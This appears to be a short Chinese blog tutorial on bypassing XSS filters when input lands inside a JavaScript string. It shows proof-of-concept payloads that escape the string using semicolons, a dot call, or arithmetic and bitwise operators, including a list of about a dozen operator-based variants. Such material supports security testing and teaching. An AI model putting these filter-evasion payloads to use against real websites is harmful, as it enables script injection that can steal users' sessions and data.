【XSS】 ""-alert(1)-""可以执行的简单分析

漏洞场景

如下所示的XSS位置,红色部分表示用户可控

<script>id="xsspoint";</script>

常见思路

最常用的闭合方式就是输入";alert(1);",那么代码就变成如下,

<script>id="";alert(1);"";</script>

也可以输入";alert(1);//,效果一样

<script>id="";alert(1);//";</script>

过滤分号的场景

问题来了,如果过滤了分号怎么办?一种办法是利用点号,取字符的a函数,把要执行的js代码作为入参放在a函数中,即使a函数是不存在函数,js也会先执行其中的入参,payload如下

<script>"".a(alert(1))//";</script>

过滤分号、点号的场景

问题又来了,如果过滤了分号还过滤了点号甚至还过滤了反斜杠咋办?这里介绍一个今天才理解的思路——用中划线

<script>""-alert(1)-”";</script>

之前没有看明白，只知道可以执行，今天在群里和伙伴们讨论了下，中划线不就是减号嘛! 也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算~

因此除了减号,其他数学运算符号和位运算符号,也都是阔以的,后面绕过XSS的思路就更多了

<script>""+alert(1)+"";</script>
<script>""/alert(1)/"";</script>
<script>""%alert(1)%"";</script>
<script>""*alert(1)*"";</script>
<script>""^alert(1)^"";</script>
<script>"">>alert(1)>>"";</script>
<script>""<<alert(1)<<"";</script>
<script>""<alert(1)<"";</script>
<script>"">alert(1)>"";</script>
<script>""==alert(1)=="";</script>

 结语

随着WAF更加的牛逼 , XSS越来越难绕了 , 且行且珍惜啊